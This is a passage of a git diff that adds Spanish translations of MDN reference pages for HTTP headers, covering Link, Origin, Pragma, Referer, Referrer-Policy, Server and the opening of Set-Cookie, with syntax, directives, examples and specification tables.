+ <li>{{HTTPHeader("Connection")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Connection management in HTTP/1.x</a></li>
+</ul>
diff --git a/files/es/web/http/headers/link/index.html b/files/es/web/http/headers/link/index.html
new file mode 100644
index 0000000000..d1de0eef8f
--- /dev/null
+++ b/files/es/web/http/headers/link/index.html
@@ -0,0 +1,79 @@
+---
+title: Link
+slug: Web/HTTP/Headers/Link
+tags:
+  - Enlaces
+  - HTTP
+  - HTTP Headers
+  - Links
+  - Referencia
+translation_of: Web/HTTP/Headers/Link
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">El campo de encabezado de entidad de </span></span><strong><code>Link</code></strong> <span class="tlid-translation translation" lang="es"><span title="">HTTP proporciona un medio para serializar uno o más enlaces en encabezados HTTP</span></span>. <span class="tlid-translation translation" lang="es"><span title="">Es semánticamente equivalente al elemento HTML</span></span> {{HTMLElement("link")}}.</p>
+
+
+
+<h2 id="Sintaxis"><span class="tlid-translation translation" lang="es"><span title="">Sintaxis</span></span></h2>
+
+<pre class="syntaxbox">Link: &lt; <var>uri-referencia</var> &gt;; <var>parametro1</var>=<var>valor1</var>; <var>parametro2</var>="<var>valor2</var>"</pre>
+
+<dl>
+ <dt><code>&lt;uri-reference&gt;</code></dt>
+ <dd><span class="tlid-translation translation" lang="es"><span title="">La referencia de URI debe estar encerrada entre</span></span> <code>&lt;</code> y <code>&gt;</code>.</dd>
+</dl>
+
+<h3 id="Parametros">Parametros</h3>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">El encabezado del enlace contiene parámetros, que se separan con</span></span> <code>;</code> <span class="tlid-translation translation" lang="es"><span title="">y son equivalentes a los atributos del elemento</span></span> {{HTMLElement("link")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">El URI debe estar encerrado entre</span></span> <code>&lt;</code> y <code>&gt;</code>:</p>
+
+<pre class="brush: http; no-line-numbers example-good">Link: &lt;https://ejemplo.com&gt;; rel="preconnect"</pre>
+
+<pre class="brush: http; no-line-numbers example-bad">Link: https://mal.ejemplo; rel="preconnect"</pre>
+
+<h3 id="Especificando_multiples_links">Especificando multiples links</h3>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Se puede especificar varios enlaces separados por comas, por ejemplo:</span></span></p>
+
+<pre>Link: &lt;https://uno.ejemplo.com&gt;; rel="preconnect", &lt;https://dos.ejemplo.com&gt;; rel="preconnect", &lt;https://tres.ejemplo.com&gt;; rel="preconnect"</pre>
+
+<h2 id="Especificaciones"><span class="tlid-translation translation" lang="es"><span title="">Especificaciones</span></span></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><span class="tlid-translation translation" lang="es"><span title="">Especificaciones</span></span></th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC(8288, "Link Serialisation in HTTP Headers", 3)}}</td>
+   <td><span class="spec-RFC">IETF RFC</span></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{RFC(5988, "The Link Header Field", 5)}}</td>
+   <td><span class="spec-RFC">IETF RFC</span></td>
+   <td><span class="tlid-translation translation" lang="es"><span title="">Definición inicial</span></span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador"><span class="tlid-translation translation" lang="es"><span title="">Compatibilidad del navegador</span></span></h2>
+
+<div class="hidden"><span class="tlid-translation translation" lang="es"><span title="">La tabla de compatibilidad en esta página se genera a partir de datos estructurados.</span> <span title="">Si desea contribuir con los datos, consulte </span></span> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> <span class="tlid-translation translation" lang="es"><span title="">y envíanos un</span></span> pull request.</div>
+
+<p>{{Compat("http.headers.Link")}}</p>
+
+<h2 id="Ver_también"><span class="tlid-translation translation" lang="es"><span title="">Ver también</span></span></h2>
+
+<ul>
+ <li>{{HTTPStatus(103, "103 Early Hints")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/origin/index.html b/files/es/web/http/headers/origin/index.html
new file mode 100644
index 0000000000..99d4b11b0f
--- /dev/null
+++ b/files/es/web/http/headers/origin/index.html
@@ -0,0 +1,83 @@
+---
+title: Origin
+slug: Web/HTTP/Headers/Origin
+tags:
+  - Cabecera
+  - HTTP
+  - Petición del encabezado
+  - Referencia
+  - origin
+translation_of: Web/HTTP/Headers/Origin
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabecera de petición <strong><code>Origin</code></strong> indica de dónde se origina una búsqueda. No incluye ninguna información de ruta, sino sólo el nombre del servidor. Es enviado con las peticiones {{Glossary("CORS")}}, tanto como con las peticiones {{HTTPMethod("POST")}}. Es similar a la cabecera {{HTTPHeader("Referer")}}, pero, a diferencia de ésta, no revela la ruta completa.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de encabezado</th>
+   <td>{{Glossary("Request header", "Petición del encabezado")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name", "Nombe prohibido del encabezado")}}</th>
+   <td>Sí</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Origin: ""
+Origin: &lt;esquema&gt; "://" &lt;nombre de host&gt; [ ":" &lt;puerto&gt; ]
+</pre>
+
+<p><code>Origin</code> puede ser una cadena vacía: esto es útil, por ejemplo, si el origen es una <code>data</code> URL.</p>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;esquema&gt;</dt>
+ <dd>El protocolo usado. Generalmente es el protocolo HTTP o su versión segura, HTTPS.</dd>
+ <dt>&lt;nombre de host&gt;</dt>
+ <dd>El nombre de dominio del servidor (para hosting virtual) o la IP.</dd>
+ <dt>&lt;puerto&gt; {{optional_inline}}</dt>
+ <dd>Número de puerto TCP en el que el servidor está escuchando. Si no se proporciona, se usa el puerto por defecto para el servicio requerido (e.g., "80" para una URL HTTP).</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>Origin: https://developer.mozilla.org</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{RFC("6454", "Origin", "7")}}</td>
+   <td>El Concepto de Origen Web</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#origin-header','Origin header')}}</td>
+   <td>Suplanta la cabecera <code>Origin</code> como se define en RFC6454.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página es generada a partir de datos estructurados. Si quieres contribuir, por favor revisa<a href="https://github.com/mdn/browser-compat-data"> https://github.com/mdn/browser-compat-data</a> y mándanos un pull request.</p>
+
+<p>{{Compat("http.headers.Origin")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Host")}}</li>
+ <li>{{HTTPHeader("Referer")}}</li>
+ <li><a href="/en-US/docs/Web/Security/Same-origin_policy">Política same-origin</a></li>
+</ul>
diff --git a/files/es/web/http/headers/pragma/index.html b/files/es/web/http/headers/pragma/index.html
new file mode 100644
index 0000000000..2d1344e2c2
--- /dev/null
+++ b/files/es/web/http/headers/pragma/index.html
@@ -0,0 +1,77 @@
+---
+title: Pragma
+slug: Web/HTTP/Headers/Pragma
+translation_of: Web/HTTP/Headers/Pragma
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><font><font>El </font></font><code><strong>Pragma</strong></code><font><font>encabezado general HTTP / 1.0 es un encabezado específico de la implementación que puede tener varios efectos a lo largo de la cadena de solicitud-respuesta. </font><font>Se utiliza para la compatibilidad con versiones anteriores de las memorias caché HTTP / 1.0 en las que el </font></font><code>Cache-Control</code><font><font>encabezado HTTP / 1.1 aún no está presente.</font></font></p>
+
+<div class="note">
+<p><strong><font><font>Nota</font></font></strong><font><font> : </font></font><code>Pragma</code><font><font>no se especifica para las respuestas HTTP y, por lo tanto, no es un reemplazo confiable para el </font></font><code>Cache-Control</code><font><font>encabezado </font><font>HTTP / 1.1 general </font><font>, aunque se comporta de la misma manera que </font></font><code>Cache-Control: no-cache</code><font><font>, si el </font></font><code>Cache-Control</code><font><font>campo </font><font>del </font><font>encabezado se omite en una solicitud. </font><font>Utilice </font></font><code>Pragma</code><font><font>solo para compatibilidad con versiones anteriores con clientes HTTP / 1.0.</font></font></p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de encabezado</th>
+   <td>{{Glossary("General header")}}, pero el comportamiento de respuesta no se especifica y, por lo tanto, es específico de la implementación.</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+   <td>si</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis"><font><font>Sintaxis</font></font></h2>
+
+<pre class="syntaxbox">Pragma: no-cache
+</pre>
+
+<h2 id="Directiva">Directiva</h2>
+
+<dl>
+ <dt>no-cache</dt>
+ <dd>
+ <p><font><font>Igual que </font></font><code>Cache-Control: no-cache</code><font><font>. </font><font>Hace que las cachés envíen la solicitud al servidor de origen para su validación antes de liberar una copia en caché.</font></font></p>
+ </dd>
+</dl>
+
+<h2 id="Ejemplos"><font><font>Ejemplos </font></font></h2>
+
+<pre>Pragma: no-cache</pre>
+
+<h2 id="Especificación"><font><font>Especificación </font></font></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7234", "Pragma", "5.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): almacenamiento en caché</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores"><font><font>Compatibilidad de navegadores</font></font></h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Pragma")}}</p>
+
+<h2 id="Véase_también"><font><font>Véase también</font></font></h2>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("Expires")}}</li>
+</ul>
+
+<p>Traducción realizada por Ervin A. Santos R.</p>
diff --git a/files/es/web/http/headers/referer/index.html b/files/es/web/http/headers/referer/index.html
new file mode 100644
index 0000000000..aa37ad8a59
--- /dev/null
+++ b/files/es/web/http/headers/referer/index.html
@@ -0,0 +1,84 @@
+---
+title: Referer
+slug: Web/HTTP/Headers/Referer
+tags:
+  - Cabecera
+  - HTTP
+  - Referencia
+translation_of: Web/HTTP/Headers/Referer
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabecera de solicitud <code><strong>Referer</strong></code> (‘referente’) contiene la dirección de la página web anterior de la que provenía el enlace a la página actual que se siguió. La cabecera <code>Referer</code> permite a los servidores identificar de dónde los visitan las personas y pueden emplear estos datos para realizar análisis, registros o un almacenamiento en antememoria optimizado, por mencionar algunos ejemplos.</p>
+
+<p>Observe que <em>referer</em> es una grafía errónea de la palabra <em>referrer</em>. Consulte {{interwiki("wikipedia", "HTTP_referer", "<em>HTTP referer</em> en Wikipedia")}} para obtener más información.</p>
+
+<div class="warning">
+<p>La cabecera <code>Referer</code> tiene el potencial de revelar información sobre el histórico de navegación del usuario, lo cual constituye un problema de privacidad.</p>
+</div>
+
+<p>Los navegadores no envían ninguna cabecera <code>Referer</code> si:</p>
+
+<ul>
+ <li>el recurso referente es un URI local «file» o «data»;</li>
+ <li>
+  <p>se emplea una solicitud HTTP no segura y la página referente fue recibida a través de un protocolo seguro (HTTPS).</p>
+ </li>
+</ul>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de cabecera</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>sí</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Referer: &lt;url&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;url&gt;</dt>
+ <dd>Una dirección absoluta o parcial de la página web anterior, la cual contenía un enlace hacia la página solicitada actual que se siguió. No se incluyen los fragmentos de URL (esto es, «#sección») ni los datos de usuario (o sea, «nombredeusuario:contraseña» en URI como «https://nombredeusuario:contraseña@ejemplo.com/equis/ye/»).</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>Referer: https://developer.mozilla.org/es/docs/Web/JavaScript</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Referer", "5.5.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Referer")}}</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{interwiki("wikipedia", "HTTP_referer", "Referer HTTP en Wikipedia")}}</li>
+ <li>{{HTTPHeader("Referrer-Policy")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/referrer-policy/index.html b/files/es/web/http/headers/referrer-policy/index.html
new file mode 100644
index 0000000000..7d5e20ae83
--- /dev/null
+++ b/files/es/web/http/headers/referrer-policy/index.html
@@ -0,0 +1,237 @@
+---
+title: Referrer-Policy
+slug: Web/HTTP/Headers/Referrer-Policy
+tags:
+  - Cabecera
+  - HTTP
+  - Respuesta
+  - privacidad
+translation_of: Web/HTTP/Headers/Referrer-Policy
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabecera <strong><code>Referrer-Policy</code></strong> de HTTP determina qué datos de referente, de entre los que se envían con la cabecera {{HTTPHeader("Referer")}}, deben incluirse con las solicitudes realizadas.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de cabecera</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>Observe que {{HTTPHeader("Referer")}} es una falta de ortografía; en inglés, la palabra correcta es <em>referrer</em>. La cabecera <code>Referrer-Policy</code> no contiene esta falta.</p>
+
+<pre class="syntaxbox">Referrer-Policy: no-referrer
+Referrer-Policy: no-referrer-when-downgrade
+Referrer-Policy: origin
+Referrer-Policy: origin-when-cross-origin
+Referrer-Policy: same-origin
+Referrer-Policy: strict-origin
+Referrer-Policy: strict-origin-when-cross-origin
+Referrer-Policy: unsafe-url
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>no-referrer</dt>
+ <dd>La cabecera {{HTTPHeader("Referer")}} se omitirá en su totalidad. No se enviará ningún dato de referente junto con las solicitudes.</dd>
+ <dt>no-referrer-when-downgrade (predeterminado)</dt>
+ <dd>Este es el comportamiento predeterminado del agente de usuario si no se especifica ninguna directiva. El origen se enviará como referente cuando el nivel de seguridad del protocolo permanece igual (HTTPS → HTTPS), pero no se enviará a destinos menos seguros (HTTPS → HTTP).</dd>
+ <dt>origin</dt>
+ <dd>Se enviará únicamente el origen del documento como referente en todos los casos. El documento <code>https://ejemplo.com/pagina.html</code> enviará el referente <code>https://ejemplo.com/</code>.</dd>
+ <dt>origin-when-cross-origin</dt>
+ <dd>Se enviará un URL completo al realizarse una solicitud de origen equivalente, pero únicamente el origen para otros casos.</dd>
+ <dt>same-origin</dt>
+ <dd>Se enviará un referente para <a href="/en-US/docs/Web/Security/Same-origin_policy">orígenes de sitio equivalente</a>, pero las solicitudes de origen transversal no contendrán ningún dato de referente.</dd>
+ <dt>strict-origin</dt>
+ <dd>Solo se enviará el origen del documento como referente a destinos que <em>a priori</em> son igual de seguros (HTTPS → HTTPS), pero no lo recibirán destinos menos seguros (HTTPS → HTTP).</dd>
+ <dt>strict-origin-when-cross-origin</dt>
+ <dd>Se enviará un URL completo al realizarse una solicitud de origen equivalente, se enviará únicamente el origen del documento a destinos igual de seguros <em>a priori</em> (HTTPS → HTTPS) y no se enviará ninguna cabecera a destinos menos seguros (HTTPS → HTTP).</dd>
+ <dt>unsafe-url</dt>
+ <dd>Se enviará un URL completo al realizarse una solicitud de origen equivalente o de origen transversal.
+ <div class="note">Esta directiva filtrará los orígenes y las rutas de acceso de recursos protegidos por TLS a orígenes inseguros. Estudie atentamente el impacto resultante de esta configuración.</div>
+ </dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Directiva</th>
+   <th scope="col">Documento</th>
+   <th scope="col">Navegación a</th>
+   <th scope="col">Referente</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><strong>no-referrer</strong></code></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td>cualquier dominio o ruta de acceso</td>
+   <td>ningún referente</td>
+  </tr>
+  <tr>
+   <td><strong><code>no-referrer-when-downgrade</code></strong></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td>https://ejemplo.com/otrapagina.html</td>
+   <td>https://ejemplo.com/pagina.html</td>
+  </tr>
+  <tr>
+   <td><strong><code>no-referrer-when-downgrade</code></strong></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td>https://mozilla.org</td>
+   <td>https://ejemplo.com/pagina.html</td>
+  </tr>
+  <tr>
+   <td><strong><code>no-referrer-when-downgrade</code></strong></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td><strong>http</strong>://ejemplo.org</td>
+   <td>ningún referente</td>
+  </tr>
+  <tr>
+   <td><strong><code>origin</code></strong></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td>cualquier dominio o ruta de acceso</td>
+   <td>https://ejemplo.com/</td>
+  </tr>
+  <tr>
+   <td><code><strong>origin-when-cross-origin</strong></code></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td>https://ejemplo.com/otrapagina.html</td>
+   <td>https://ejemplo.com/pagina.html</td>
+  </tr>
+  <tr>
+   <td><code><strong>origin-when-cross-origin</strong></code></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td>https://mozilla.org</td>
+   <td>https://ejemplo.com/</td>
+  </tr>
+  <tr>
+   <td><code><strong>origin-when-cross-origin</strong></code></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td><strong>http</strong>://ejemplo.com/pagina.html</td>
+   <td>https://ejemplo.com/</td>
+  </tr>
+  <tr>
+   <td><strong><code>same-origin</code></strong></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td>https://ejemplo.com/otrapagina.html</td>
+   <td>https://ejemplo.com/pagina.html</td>
+  </tr>
+  <tr>
+   <td><strong><code>same-origin</code></strong></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td>https://mozilla.org</td>
+   <td>ningún referente</td>
+  </tr>
+  <tr>
+   <td><strong><code>strict-origin</code></strong></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td>https://mozilla.org</td>
+   <td>https://ejemplo.com/</td>
+  </tr>
+  <tr>
+   <td><strong><code>strict-origin</code></strong></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td><strong>http</strong>://ejemplo.org</td>
+   <td>ningún referente</td>
+  </tr>
+  <tr>
+   <td><strong><code>strict-origin</code></strong></td>
+   <td><strong>http</strong>://ejemplo.com/pagina.html</td>
+   <td>cualquier dominio o ruta de acceso</td>
+   <td>http://ejemplo.com/</td>
+  </tr>
+  <tr>
+   <td><strong><code>strict-origin-when-cross-origin</code></strong></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td>https://ejemplo.com/otrapagina.html</td>
+   <td>https://ejemplo.com/pagina.html</td>
+  </tr>
+  <tr>
+   <td><strong><code>strict-origin-when-cross-origin</code></strong></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td>https://mozilla.org</td>
+   <td>https://ejemplo.com/</td>
+  </tr>
+  <tr>
+   <td><strong><code>strict-origin-when-cross-origin</code></strong></td>
+   <td>https://ejemplo.com/pagina.html</td>
+   <td><strong>http</strong>://example.org</td>
+   <td>ningún referente</td>
+  </tr>
+  <tr>
+   <td><strong><code>unsafe-url</code></strong></td>
+   <td>https://ejemplo.com/pagina.html?q=123</td>
+   <td>cualquier dominio o ruta de acceso</td>
+   <td>https://ejemplo.com/pagina.html?q=123</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+  </tr>
+  <tr>
+   <td><a href="https://w3c.github.io/webappsec-referrer-policy/#referrer-policy-header">Directiva de referentes</a></td>
+   <td>Anteproyecto de editores</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Referrer-Policy")}}</p>
+
+<div class="note">
+<p><strong>Notas</strong>:</p>
+
+<ul>
+ <li>A partir de la versión 53 en adelante, Gecko incluye una preferencia de <code>about:config</code> para permitir a los usuarios definir su directiva <code>Referrer-Policy</code> predeterminada: <span class="quote"> <code>network.http.referer.userControlPolicy</code>.</span></li>
+ <li>A partir de la versión 59 (consulte el informe n.º <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=587523">587523</a>), esta preferencia ha cambiado de nombre: ahora son <code>network.http.referer.defaultPolicy</code> y <code>network.http.referer.defaultPolicy.pbmode</code>.</li>
+</ul>
+
+<p>Los valores posibles son:</p>
+
+<ul>
+ <li>0: <code>no-referrer</code></li>
+ <li>1: <code>same-origin</code></li>
+ <li>2: <code>strict-origin-when-cross-origin</code></li>
+ <li>3: <code>no-referrer-when-downgrade</code> (la predeterminada)</li>
+</ul>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{interwiki("wikipedia", "HTTP_referer", "Referente HTTP en Wikipedia")}}</li>
+ <li>Otras maneras de definir una directiva de referentes:
+  <ul>
+   <li>Un elemento {{HTMLElement("meta")}} con un <a href="/en-US/docs/Web/HTML/Element/meta#attr-name">nombre de <code>referrer</code></a>.</li>
+   <li>Un atributo <code>referrerpolicy</code> en un elemento {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("img")}}, {{HTMLElement("iframe")}} o {{HTMLElement("link")}}.</li>
+   <li>La <a href="/en-US/docs/Web/HTML/Link_types">relación de enlace</a> <code>noreferrer</code> en un elemento a, area o link  (<code>rel="noreferrer"</code>).</li>
+   <li>Al utilizar <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>: {{domxref("Request.referrerPolicy")}}</li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/Security/Same-origin_policy">Directiva de origen equivalente</a></li>
+ <li>
+  <p><a href="https://blog.mozilla.org/security/2015/01/21/meta-referrer/">«Un mayor control sobre sus referentes» en el blog de seguridad de Mozilla</a></p>
+ </li>
+</ul>
diff --git a/files/es/web/http/headers/server/index.html b/files/es/web/http/headers/server/index.html
new file mode 100644
index 0000000000..5fc9356428
--- /dev/null
+++ b/files/es/web/http/headers/server/index.html
@@ -0,0 +1,66 @@
+---
+title: Server
+slug: Web/HTTP/Headers/Server
+translation_of: Web/HTTP/Headers/Server
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabecera <code><strong>Server</strong></code> contiene la información acerca del software usado por el servidor original encargado de la solicitud.</p>
+
+<p>La información larga y detallada debe de ser evitada en las cabeceras Server ya que puede revelar detalles de implementación que pueden hacer (un poco) más fácil para los atacantes encontrar y explotar huecos de seguridad.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Server: &lt;producto&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;producto&gt;</dt>
+ <dd>El nombre del software o (sub) producto que se encargó de las solicitudes.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>Server: Apache/2.4.1 (Unix)</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Server", "7.4.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad es generada a partir de datos estructurados. Si quisieras contribuir dirígete a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos un pull request.</p>
+
+<p>{{Compat("http.headers.Server")}}</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Allow")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/set-cookie/index.html b/files/es/web/http/headers/set-cookie/index.html
new file mode 100644
index 0000000000..f8a50e2c7c
--- /dev/null
+++ b/files/es/web/http/headers/set-cookie/index.html
@@ -0,0 +1,217 @@
+---
+title: Set-Cookie
+slug: Web/HTTP/Headers/Set-Cookie
+tags:
+  - Cookies
+  - HTTP
+  - Referencia
+  - Respuesta
+  - encabezado
+  - samesite
+translation_of: Web/HTTP/Headers/Set-Cookie
+---
+<div>{{HTTPSidebar}}</div>
+
+<div></div>
+
+<div>La cabecera de respuesta HTTP <strong>Set-Cookie</strong> se usa para enviar cookies desde el servidor al agente de usuario, así el agente de usuario puede enviarlos de vuelta al servidor.</div>
+
+<div></div>
+
+<div>Para más información, visite la <a href="/es/docs/Web/HTTP/Cookies">guía para cookies HTTP</a>.</div>
+
+<div></div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de cabecera</th>
+   <td>{{Glossary("Response header", "Respuesta del encabezado")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name", "Nombre prohibido del encabezado")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Expires=&lt;date&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Max-Age=&lt;non-zero-digit&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Domain=&lt;domain-value&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Path=&lt;path-value&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Secure
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; HttpOnly
+
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; SameSite=Strict
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; SameSite=Lax
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; SameSite=None
+
+// Es posible usar múltiples directivas, por ejemplo:
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Domain=&lt;domain-value&gt;; Secure; HttpOnly
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<ul>
+ <li>Si se omite, se define el húesped como la URL del documento actual, sin incluir subdominios.</li>
+ <li>Contrario a la especificación anterior, puntos principales en el nombre del domino (<code>.ejemplo.com</code>) son ignorados.</li>
+ <li>Si un dominio <em>es</em> especificado, los subdominios son también incluidos.</li>
+</ul>
+
+<ul>
+ <li>If omitted, defaults to the host of the current document URL, not including subdomains.</li>
+ <li>Contrary to earlier specifications, leading dots in domain names (<code>.example.com</code>) are ignored.</li>
+ <li>If a domain <em>is</em> specified, subdomains are always included.</li>
+</ul>
+
+<dl>
+ <dt><code>&lt;cookie-name&gt;=&lt;cookie-value&gt;</code></dt>
+ <dd>Una cookie comienza con un par nombre-valor:
+ <ul>
